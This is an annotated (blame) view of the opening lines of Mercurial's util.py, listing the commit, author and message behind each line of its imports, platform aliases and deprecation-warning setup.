annotate mercurial/util.py @ 46472:98e39f04d60e

upgrade: implement partial upgrade for upgrading persistent-nodemap Upgrading repositories to use persistent nodemap should be fast and easy as it requires only two things: 1) Updating the requirements 2) Writing a persistent-nodemap on disk For both of the steps above, we don't need to edit existing revlogs. This patch makes upgrade only do the above mentioned two steps if we are only upgarding to use persistent-nodemap feature. Since `nodemap.persist_nodemap()` assumes that there exists a nodemap file for the given revlog if we are trying to call it, this patch adds `force` argument to create a file if does not exist which is true in our upgrade case. The test changes demonstrate that we no longer write nodemap files for manifest after upgrade which I think is desirable. Differential Revision: https://phab.mercurial-scm.org/D9936
author Pulkit Goyal <7895pulkit@gmail.com>
date Mon, 01 Feb 2021 00:02:00 +0530
parents 59fa3890d40a
children ebc6d3484fdd 7711853110b9
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
1 # util.py - Mercurial utility functions and platform specific implementations
8226
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
2 #
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
6 #
8b2cd04a6e97 put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents: 8225
diff changeset
7 # This software may be used and distributed according to the terms of the
10263
25e572394f5c Update license to GPLv2+
Matt Mackall <mpm@selenic.com>
parents: 9996
diff changeset
8 # GNU General Public License version 2 or any later version.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
9
17515
b5b38d21fe99 spelling: specific
timeless@mozdev.org
parents: 17237
diff changeset
10 """Mercurial utility functions and platform specific implementations.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
11
8227
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents: 8226
diff changeset
13 hide platform-specific details from the core.
1082
ce96e316278a Update util.py docstrings, fix walk test
mpm@selenic.com
parents: 1081
diff changeset
14 """
419
28511fc21073 [PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff changeset
15
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
16 from __future__ import absolute_import, print_function
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
17
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
18 import abc
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
19 import collections
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
20 import contextlib
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
21 import errno
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
22 import gc
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
23 import hashlib
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
24 import itertools
45011
1bab6b61b62b curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents: 44629
diff changeset
25 import locale
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
26 import mmap
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
27 import os
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
28 import platform as pyplatform
21907
7e5dfa00e3c2 util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents: 21857
diff changeset
29 import re as remod
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
30 import shutil
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
31 import socket
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
32 import stat
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
33 import sys
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
34 import time
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
35 import traceback
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
36 import warnings
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
37
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
38 from .thirdparty import attr
43087
66f2cc210a29 py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43085
diff changeset
39 from .pycompat import (
43090
1f339b503a40 py3: manually import pycompat.delattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43089
diff changeset
40 delattr,
43089
c59eb1560c44 py3: manually import getattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43087
diff changeset
41 getattr,
43087
66f2cc210a29 py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43085
diff changeset
42 open,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43085
diff changeset
43 setattr,
66f2cc210a29 py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43085
diff changeset
44 )
46113
59fa3890d40a node: import symbols explicitly
Joerg Sonnenberger <joerg@bec.de>
parents: 45942
diff changeset
45 from .node import hex
39259
e00123f63410 util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents: 39258
diff changeset
46 from hgdemandimport import tracing
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
47 from . import (
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
48 encoding,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
49 error,
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
50 i18n,
32367
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32306
diff changeset
51 policy,
28818
6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents: 28497
diff changeset
52 pycompat,
34467
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
53 urllibcompat,
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
54 )
37083
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37082
diff changeset
55 from .utils import (
42041
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
56 compression,
44060
a61287a95dc3 core: migrate uses of hashlib.sha1 to hashutil.sha1
Augie Fackler <augie@google.com>
parents: 44035
diff changeset
57 hashutil,
37118
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37117
diff changeset
58 procutil,
37083
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37082
diff changeset
59 stringutil,
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37082
diff changeset
60 )
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
61
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
62 base85 = policy.importmod('base85')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
63 osutil = policy.importmod('osutil')
32367
a9c71d578a1c osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents: 32306
diff changeset
64
32201
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
65 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
66 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents: 32154
diff changeset
67
31934
12aca6770046 util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31878
diff changeset
68 cookielib = pycompat.cookielib
30471
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
69 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
70 pickle = pycompat.pickle
37099
6ca5f825a0ca util: make safehasattr() a pycompat function
Yuya Nishihara <yuya@tcha.org>
parents: 37098
diff changeset
71 safehasattr = pycompat.safehasattr
30471
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
72 socketserver = pycompat.socketserver
36958
644a02f6b34f util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36946
diff changeset
73 bytesio = pycompat.bytesio
644a02f6b34f util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36946
diff changeset
74 # TODO deprecate stringio name, as it is a lie on Python 3.
644a02f6b34f util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36946
diff changeset
75 stringio = bytesio
30471
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents: 30442
diff changeset
76 xmlrpclib = pycompat.xmlrpclib
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
77
34467
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
78 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
79 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
80 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents: 34435
diff changeset
81
32572
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
82 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
83 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
84
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
85 if pycompat.iswindows:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
86 from . import windows as platform
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
87 else:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
88 from . import posix as platform
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
89
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
90 _ = i18n._
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
91
29530
3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents: 29455
diff changeset
92 bindunixsocket = platform.bindunixsocket
14927
2aa3e07b2f07 posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents: 14926
diff changeset
93 cachestat = platform.cachestat
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
94 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
95 checklink = platform.checklink
15011
5e44e4b3a0a3 util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents: 15010
diff changeset
96 copymode = platform.copymode
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
97 expandglobs = platform.expandglobs
35513
c4caf530b1c7 util: add a function to show the mount point of the filesystem
Matt Harbison <matt_harbison@yahoo.com>
parents: 35511
diff changeset
98 getfsmountpoint = platform.getfsmountpoint
35509
beede158ea8a util: move getfstype() to the platform modules
Matt Harbison <matt_harbison@yahoo.com>
parents: 35460
diff changeset
99 getfstype = platform.getfstype
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
100 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
101 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
102 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
103 isowner = platform.isowner
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
104 listdir = osutil.listdir
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
105 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
106 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
107 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
108 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
109 normpath = platform.normpath
15488
6eff984d8e76 dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents: 15392
diff changeset
110 normcase = platform.normcase
24605
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
111 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents: 24439
diff changeset
112 normcasefallback = platform.normcasefallback
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
113 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
114 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
115 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
116 pconvert = platform.pconvert
25420
c2ec81891502 util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25406
diff changeset
117 poll = platform.poll
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
118 posixfile = platform.posixfile
39904
5fe0b880200e py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 39777
diff changeset
119 readlink = platform.readlink
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
120 rename = platform.rename
24692
144883a8d0d4 util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 24635
diff changeset
121 removedirs = platform.removedirs
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
122 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
123 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
124 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
125 setflags = platform.setflags
17560
9ee25d7b1aed util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents: 17537
diff changeset
126 split = platform.split
18026
ddc0323db78b osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents: 18013
diff changeset
127 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
128 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents: 18775
diff changeset
129 statislink = platform.statislink
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
130 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
131 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
132 username = platform.username
14912
ec46a7da9f2c util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents: 14911
diff changeset
133
44629
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
134
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
135 def setumask(val):
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
136 ''' updates the umask. used by chg server '''
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
137 if pycompat.iswindows:
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
138 return
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
139 os.umask(val)
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
140 global umask
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
141 platform.umask = umask = val & 0o777
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
142
d37975386798 chgserver: update the umask cache before each run
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44452
diff changeset
143
42041
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
144 # small compat layer
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
145 compengines = compression.compengines
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
146 SERVERROLE = compression.SERVERROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
147 CLIENTROLE = compression.CLIENTROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 41834
diff changeset
148
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
149 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
150 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
151 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
152 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
153
6470
ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 6339
diff changeset
154 # Python compatibility
3769
96095d9ff1f8 Add encoding detection
Matt Mackall <mpm@selenic.com>
parents: 3767
diff changeset
155
15656
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
156 _notset = object()
4f5a78fa4917 util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
157
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
158
30745
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
159 def bitsfrom(container):
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
160 bits = 0
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
161 for bit in container:
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
162 bits |= bit
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
163 return bits
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
164
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
165
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
166 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
167 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
168 # only use python deprecation warning in this case.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
169 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
170 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
171 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
172 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
173 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
174 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
175 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
176 # makes the whole PYTHONWARNINGS thing useless for our usecase.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
177 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
179 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
36588
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
180 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
181 # silence warning emitted by passing user string to re.sub()
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
182 warnings.filterwarnings(
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
183 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
184 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
185 warnings.filterwarnings(
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
186 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
187 )
37455
9ecb7c471cfb py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents: 37382
diff changeset
188 # TODO: reinvent imp.is_frozen()
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
189 warnings.filterwarnings(
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
190 'ignore',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
191 'the imp module is deprecated',
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
192 DeprecationWarning,
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
193 'mercurial',
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
194 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
195
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
196
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
197 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
198 """Issue an python native deprecation warning
